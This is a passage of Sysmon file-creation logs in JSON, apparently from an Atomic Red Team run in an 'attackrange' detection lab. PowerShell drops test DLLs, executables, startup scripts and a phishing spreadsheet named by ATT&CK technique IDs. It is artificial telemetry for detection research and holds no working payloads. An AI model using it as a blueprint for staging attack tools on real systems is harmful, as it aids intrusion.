C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\Win32\\T1218-2.dll\r\nCreationUtcTime: 2020-08-07 11:56:11.993","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:11.993","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\Win32\\T1218-2.dll","CreationUtcTime":"2020-08-07 11:56:11.993","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4778,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.008\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\Win32\\T1218.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.008","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.008","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\Win32\\T1218.dll","CreationUtcTime":"2020-08-07 11:56:12.008","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4779,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.008\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\x64\\T1218.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.008","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.008","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1218\\src\\x64\\T1218.dll","CreationUtcTime":"2020-08-07 11:56:12.008","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4780,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:12.102\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1543.003\\bin\\AtomicService.exe\r\nCreationUtcTime: 2020-08-07 11:56:12.102","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:12.102","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1543.003\\bin\\AtomicService.exe","CreationUtcTime":"2020-08-07 11:56:12.102","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.149\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.010\\bin\\T1546.010.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.149","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.149","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.010\\bin\\T1546.010.dll","CreationUtcTime":"2020-08-07 11:56:12.149","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.149\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.010\\bin\\T1546.010x86.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.149","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.149","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.010\\bin\\T1546.010x86.dll","CreationUtcTime":"2020-08-07 11:56:12.149","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.164\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.011\\bin\\AtomicTest.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.164","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.164","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.011\\bin\\AtomicTest.dll","CreationUtcTime":"2020-08-07 11:56:12.164","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:12.164\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.011\\bin\\AtomicTest.exe\r\nCreationUtcTime: 2020-08-07 11:56:12.164","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:12.164","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.011\\bin\\AtomicTest.exe","CreationUtcTime":"2020-08-07 11:56:12.164","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.196\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\bin\\T1546.015x64.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.196","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.196","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\bin\\T1546.015x64.dll","CreationUtcTime":"2020-08-07 11:56:12.196","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.196\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\atomicNotepad.sln\r\nCreationUtcTime: 2020-08-07 11:56:12.196","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.196","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\atomicNotepad.sln","CreationUtcTime":"2020-08-07 11:56:12.196","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.196\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\atomicNotepad\\atomicNotepad.vcxproj\r\nCreationUtcTime: 2020-08-07 11:56:12.196","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.196","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\atomicNotepad\\atomicNotepad.vcxproj","CreationUtcTime":"2020-08-07 11:56:12.196","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.211\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\x64\\Release\\atomicNotepad.dll\r\nCreationUtcTime: 2020-08-07 11:56:12.211","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:12.211","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1546.015\\src\\x64\\Release\\atomicNotepad.dll","CreationUtcTime":"2020-08-07 11:56:12.211","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.227\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\batstartup.bat\r\nCreationUtcTime: 2020-08-07 11:56:12.227","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.227","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\batstartup.bat","CreationUtcTime":"2020-08-07 11:56:12.227","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.227\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\jsestartup.jse\r\nCreationUtcTime: 2020-08-07 11:56:12.227","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.227","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\jsestartup.jse","CreationUtcTime":"2020-08-07 11:56:12.227","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.227\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\vbsstartup.vbs\r\nCreationUtcTime: 2020-08-07 11:56:12.227","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.227","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1547.001\\src\\vbsstartup.vbs","CreationUtcTime":"2020-08-07 11:56:12.227","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.368\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1559.002\\src\\PowerShell_Script_For_DDE_Document.ps1\r\nCreationUtcTime: 2020-08-07 11:56:12.368","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.368","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1559.002\\src\\PowerShell_Script_For_DDE_Document.ps1","CreationUtcTime":"2020-08-07 11:56:12.368","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.414\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1564.004\\src\\test.ps1\r\nCreationUtcTime: 2020-08-07 11:56:12.414","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.414","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1564.004\\src\\test.ps1","CreationUtcTime":"2020-08-07 11:56:12.414","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:12.430\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1566.001\\bin\\PhishingAttachment.xlsm\r\nCreationUtcTime: 2020-08-07 11:56:12.430","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:12.430","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1566.001\\bin\\PhishingAttachment.xlsm","CreationUtcTime":"2020-08-07 11:56:12.430","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:12.461\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.002\\bin\\GUP.exe\r\nCreationUtcTime: 2020-08-07 11:56:12.461","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:12.461","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\atomics\\T1574.002\\bin\\GUP.exe","CreationUtcTime":"2020-08-07 11:56:12.461","EventReceivedTime":"2020-08-07 11:56:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:12.461\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 